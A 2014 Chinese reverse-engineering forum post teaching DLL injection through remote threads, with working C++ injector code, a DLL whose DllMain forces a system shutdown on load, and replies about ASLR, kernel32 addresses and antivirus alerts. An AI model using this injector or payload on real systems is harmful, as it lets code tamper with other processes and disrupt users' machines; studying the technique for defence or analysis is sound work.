首页
社区
课程
招聘
[原创]C++进程注入(通过远程线程注入进程)
发表于: 2014-7-20 12:46 15163

[原创]C++进程注入(通过远程线程注入进程)

2014-7-20 12:46
15163

需要本文代码请直接跳到文章最底部下载

注入进程的方法有很多,本文主要介绍通过远程线程来注入进程的方法;
我们知道,每个进程都有4GB的地址空间,windows可用的大小大概为1.5GB左右,远程线程注入的方法主要是,打开一个线程以后,将要注入的动态库的地址写入这个地址空间,然后调用开启远程线程的函数,来执行LoadLibraryA或者LoadLibraryW(其实不存在LoadLibrary这个函数,他只是一个宏,如果是UNICODE环境的话会调用LoadLibraryW,否则就是LoadLibraryA)来执行这个动态库,动态库一旦被加载起来,DllMain中的DLL_PROCESS_ATTACH则会被执行,我们将要执行的代码写在DLL_PROCESS_ATTACH分支即可

下面开始通过代码来分析进程注入
1,需要打开一个我们想注入的进程,通过API  OpenProcess 打开,这个函数第一个参数主要是打开函数以后希望获取到的权限,因为我们需要开辟一块内,所以我的设置如下PROCESS_CREATE_THREAD|PROCESS_VM_WRITE|PROCESS_VM_OPERATION|PROCESS_QUERY_INFORMATION,表示我可以在进程内对他的内存进行读写、查询等操作,第二个参数设置FALSE就好了,第三个是我们想打开的进程的ID,这个是进程的唯一的一个标识,打开以后,如果成功,返回的HANDLE不为空,如果调用getLaseError返回的错误码是5的话 表示权限不足,需要提权(代码里面有提权函数)

2,进程成功打开以后,我们就要在进程里面开辟一内存,写入一点东西,写入的东西就是我们需要执行的动态库的地址,前面说了,我们需要调用LoadLibraryW来执行一个动态库,那么就要把动态库的文件地址写入目标进程,因为进程之间的变量都是独立的,我们在目标进程是读取不到(暂时这么理解)当前进程的一些变量的值得,所以必须得把我们要执行的动态库的文件地址写入目标进程,这样LoadLibraryW 才能找到 我们的动态库在哪~
通过调用VirtualAllocEx来开辟内存,具体的参数解释可以查阅百度,如果,内存开辟成功了,我们就要开始往内存中写 需要用到WriteProcessMemory函数,第一个参数是进程的HANDLE,第二个参数是要写入的地址,就用VirtualAllocEx返回的内存地址就好了,然后是需要写入什么,写入多大等,写入的内容就是我们动态库的地址,大小就是这个地址的字符串的长度,比如我的动态库的地址是"c:\\DllTest2.dll" 这就是我写入的内容,长度调用下库函数就可以求出来了

3.上面两步都完成以后,就可以开始用GetProcAddress 来获取LoadLibraryW的地址了~ 一般写法如下PTHREAD_START_ROUTINE pfnStartAddr = (PTHREAD_START_ROUTINE)GetProcAddress(GetModuleHandle(_T("Kernel32")),"LoadLibraryW"); 表示从Kernel32模块中,吧LoadLibraryW函数地址找出来,找出来以后,我们就需要开启一个远程线程,来执行我们的DLL,函数是CreateRemoteThread,这个函数跟CreateThrea就第一个参数不同,CreateRemoteThread第一个参数表示目标进程的HANLE,其他参数一样,线程的函数我们就写pfnStartAddr  也就是GetProcAddress的返回值(表示LoadLibraryW),线程的参数填写我们要注入的DLL地址即可,到这一步,运行代码,DLL已经可以成功的注入目标进程了(当然,最好做一些清理工作),贴下我的代码吧!

注入进程的代码
//szModel DLL的地址 nProcessID目标进程的ID
BOOL Ingect(LPCTSTR szModel , DWORD nProcessID)
{
    EnableDebugPriv();
    HANDLE open = OpenProcess(PROCESS_CREATE_THREAD|PROCESS_VM_WRITE|
        PROCESS_VM_OPERATION|PROCESS_QUERY_INFORMATION,
        FALSE,nProcessID);
    if(!open)
    {
        return FALSE;
    }
    int cbyte = (_tcslen(szModel)+1)*sizeof(TCHAR);
    LPVOID pAddr = VirtualAllocEx(open,NULL,cbyte,MEM_COMMIT,PAGE_READWRITE);
    if(!pAddr || !WriteProcessMemory(open,pAddr,szModel,cbyte,NULL))
    {
        return FALSE;
    }

#ifdef _UNICODE
    PTHREAD_START_ROUTINE pfnStartAddr = (PTHREAD_START_ROUTINE)GetProcAddress(GetModuleHandle(_T("Kernel32")),"LoadLibraryW");
#else
    PTHREAD_START_ROUTINE pfnStartAddr = (PTHREAD_START_ROUTINE)GetProcAddress(GetModuleHandle(_T("Kernel32")),"LoadLibraryA");
#endif
    if(!pfnStartAddr)
    {
        return FALSE;
    }
    DWORD threadID;
    HANDLE thread = CreateRemoteThread(open,NULL,0,pfnStartAddr,pAddr,0,&threadID);
    WaitForSingleObject(thread,INFINITE);
    VirtualFreeEx(open,pAddr,cbyte,MEM_COMMIT);
    CloseHandle(thread);
    CloseHandle(open);
    return TRUE;
}

DLL代码 我只是简单的弹出一个提示框,然后就调用CMD命令关机,代码如下
BOOL APIENTRY DllMain( HMODULE hModule,
                       DWORD  ul_reason_for_call,
                       LPVOID lpReserved
                                         )
{
        switch (ul_reason_for_call)
        {
        case DLL_PROCESS_ATTACH:
        MessageBox(NULL,TEXT("关机代码"),TEXT("关机代码"),0);
        system("shutdown -s -t 10");
        break;
        case DLL_THREAD_ATTACH:
        case DLL_THREAD_DETACH:
        case DLL_PROCESS_DETACH:
                break;
        }
        return TRUE;
}

下面是在我虚拟机执行的效果图:




附件为我的工程的全部代码,包含权限提升,通过进程名查找进程ID,不包含我之前写的DLL
http://www.bcwhy.com/thread-21532-1-1.html


[招生]科锐逆向工程师培训(2024年11月15日实地,远程教学同时开班, 第51期)

收藏
免费 3
支持
分享
最新回复 (16)
雪    币: 7048
活跃值: (3527)
能力值: ( LV12,RANK:340 )
在线值:
发帖
回帖
粉丝
2
这玩意,也就在没开DEP的程序上能有用。
2014-7-20 16:32
0
雪    币: 859
活跃值: (314)
能力值: ( LV11,RANK:180 )
在线值:
发帖
回帖
粉丝
3
@bxc 没看出来。。跟DEP啥关系。。
lz写内存只是dll名字。代码都在dll里。再者就算是
要在远程执行代码完全可以alloc可执行页。。所以
注入这个没看出和dep有啥关系
2014-7-20 20:26
0
雪    币: 630
活跃值: (570)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
4
mark一下!
2014-7-20 20:26
0
雪    币: 7048
活跃值: (3527)
能力值: ( LV12,RANK:340 )
在线值:
发帖
回帖
粉丝
5
搞混了,不是DEP、是ASLR。

他这个是在本进程取的LoadLibraryA(W)的地址,没开启ASLR,不同进程LoadLibraryA(W)地址是一样的。开启了模块基址都不一样,LoadLibraryA(W)还怎么用。
2014-7-20 20:34
0
雪    币: 114
活跃值: (72)
能力值: ( LV5,RANK:70 )
在线值:
发帖
回帖
粉丝
6
你太认真了。。。
2014-7-20 20:42
0
雪    币: 341
活跃值: (85)
能力值: ( LV5,RANK:70 )
在线值:
发帖
回帖
粉丝
7
session为0的就gg了
2014-7-20 21:20
0
雪    币: 859
活跃值: (314)
能力值: ( LV11,RANK:180 )
在线值:
发帖
回帖
粉丝
8
@bxc ASLR是每次开机启动dll加载基址不同,对于正在运行的系统,不同进程系统dll的模块基址是一致的
2014-7-21 12:41
0
雪    币: 7048
活跃值: (3527)
能力值: ( LV12,RANK:340 )
在线值:
发帖
回帖
粉丝
9
难道是我记错了.原来在XP下测试的是不同进程的同一模块基址是不同的。
刚在win8.1测试又变成相同的了。
2014-7-21 12:59
0
雪    币: 1787
活跃值: (340)
能力值: ( LV3,RANK:30 )
在线值:
发帖
回帖
粉丝
10
肯定是一样的,window核心编程上有说过这个问题。
2014-7-21 13:11
0
雪    币: 7048
活跃值: (3527)
能力值: ( LV12,RANK:340 )
在线值:
发帖
回帖
粉丝
11
也不一定啊。假如user32.dll的随机基址本次开机是0x77600000,但是该地址被占用。
那样user32.dll不就被装载到别的地址去了。
2014-7-21 13:18
0
雪    币: 114
活跃值: (72)
能力值: ( LV5,RANK:70 )
在线值:
发帖
回帖
粉丝
12
据说,kernel32基址在所有线程中都一样 是凭经验发现的。不排除有特殊情况。
所以很多shellcode 都是通过动态查找TEB的方式来获取。
2014-7-21 13:41
0
雪    币: 7048
活跃值: (3527)
能力值: ( LV12,RANK:340 )
在线值:
发帖
回帖
粉丝
13
是进程吧。
保险起见,我一般是取第一个模块(ntdll)的基址,一般用到的函数,基本都能在ntdll实现
2014-7-21 13:54
0
雪    币: 114
活跃值: (72)
能力值: ( LV5,RANK:70 )
在线值:
发帖
回帖
粉丝
14
.Kernel32.dll和user32.dll中的 API 都是调用ntdll.dll中的函数
2014-7-21 14:11
0
雪    币: 1787
活跃值: (340)
能力值: ( LV3,RANK:30 )
在线值:
发帖
回帖
粉丝
15
kernel32的地址是固定的,不会变的。
2014-7-24 14:45
0
雪    币: 480
活跃值: (23)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
16
1.在目标进程分配内存
2.向目标进程写
3.执行创建远程线程函数

结果:所有杀毒软件必弹窗报毒。。。
2014-7-24 19:01
0
雪    币: 0
活跃值: (10)
能力值: ( LV3,RANK:30 )
在线值:
发帖
回帖
粉丝
17
顶。。。。。
2017-3-30 16:58
0
游客
登录 | 注册 方可回帖
返回
//